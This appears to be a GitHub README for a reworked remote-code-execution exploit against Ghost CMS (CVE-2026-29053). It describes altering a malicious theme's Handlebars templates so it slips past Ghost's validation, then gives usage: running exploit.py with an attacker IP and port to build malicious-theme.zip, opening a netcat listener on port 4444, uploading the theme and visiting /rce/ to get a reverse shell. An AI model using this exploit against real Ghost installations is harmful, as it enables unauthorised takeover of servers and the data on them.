ac8999/cve-2026-29053(RCE) vulnerability discovered in Ghost CMS (specifically affecting versions 0.7.2 through 6.19.0)
This is a rework of the Repo by rootxran for this same CVE - https://github.com/rootxran/CVE-2026-29053
During testing against specific Ghost CMS environments, the original theme payload triggered a Fatal Handlebars Error. The CMS failed to activate the malicious theme because it referenced a deprecated or missing helper (social_url) within the author.hbs file.
I have updated the Handlebars templates to use native, compatible helpers. This ensures the theme passes Ghost’s internal validation checks, allowing the exploit to activate successfully without being blocked by the theme engine's safety parser.
Usage: (refer to the original exploit for the video guidance).
┌──(root㉿user)-[/tmp/CVE-2026-29053]
└─# python3 exploit.py -i 10.10.15.93 -p 4444
[+] Payload: 10.10.15.93:4444
[+] Created: /tmp/CVE-2026-29053/malicious-theme.zip
1. nc -lvnp 4444
2. Upload theme, create page with slug 'rce'
3. Visit /rce/